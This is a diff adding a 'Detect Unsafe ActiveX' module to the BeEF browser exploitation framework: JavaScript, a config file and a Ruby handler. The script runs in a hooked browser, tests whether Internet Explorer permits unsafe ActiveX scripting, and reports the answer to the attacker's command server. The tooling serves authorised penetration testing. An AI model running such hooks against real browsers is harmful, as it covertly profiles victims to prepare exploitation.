diff --git a/modules/browser/detect_unsafe_activex/command.js b/modules/browser/detect_unsafe_activex/command.js
new file mode 100644
index 000000000..b83317dec
--- /dev/null
+++ b/modules/browser/detect_unsafe_activex/command.js
@@ -0,0 +1,39 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	var unsafe = true;
+	var result = "";
+	var test;
+
+	try {
+		test = new ActiveXObject("WbemScripting.SWbemLocator");
+	} catch (e) {
+		unsafe = false;
+	}
+
+	test = null;
+
+	if (unsafe) {
+		result = "Browser is configured for unsafe ActiveX";
+	} else {
+		result = "Browser is NOT configured for unsafe ActiveX";
+	}
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "unsafe_activex="+result);
+
+});
+
diff --git a/modules/browser/detect_unsafe_activex/config.yaml b/modules/browser/detect_unsafe_activex/config.yaml
new file mode 100644
index 000000000..6cb65983d
--- /dev/null
+++ b/modules/browser/detect_unsafe_activex/config.yaml
@@ -0,0 +1,27 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        detect_unsafe_activex:
+            enable: true
+            category: "Browser"
+            name: "Detect Unsafe ActiveX"
+            description: "This module will check if IE has been insecurely configured. It will test if the option \"Initialize and script ActiveX controls not marked as safe for scripting\" is enabled.<br /><br />The setting can be found in: Tools Menu -> Internet Options -> Security -> Custom level -> \"Initialize and script ActiveX controls not marked as safe for scripting\""
+            authors: ["wade", "bcoles"]
+            target:
+                user_notify: ["IE"]
+                not_working: ["All"]
+
diff --git a/modules/browser/detect_unsafe_activex/module.rb b/modules/browser/detect_unsafe_activex/module.rb
new file mode 100644
index 000000000..9f7947d56
--- /dev/null
+++ b/modules/browser/detect_unsafe_activex/module.rb
@@ -0,0 +1,24 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Detect_unsafe_activex < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['unsafe_activex'] = @datastore['unsafe_activex']
+		save content
+	end
+
+end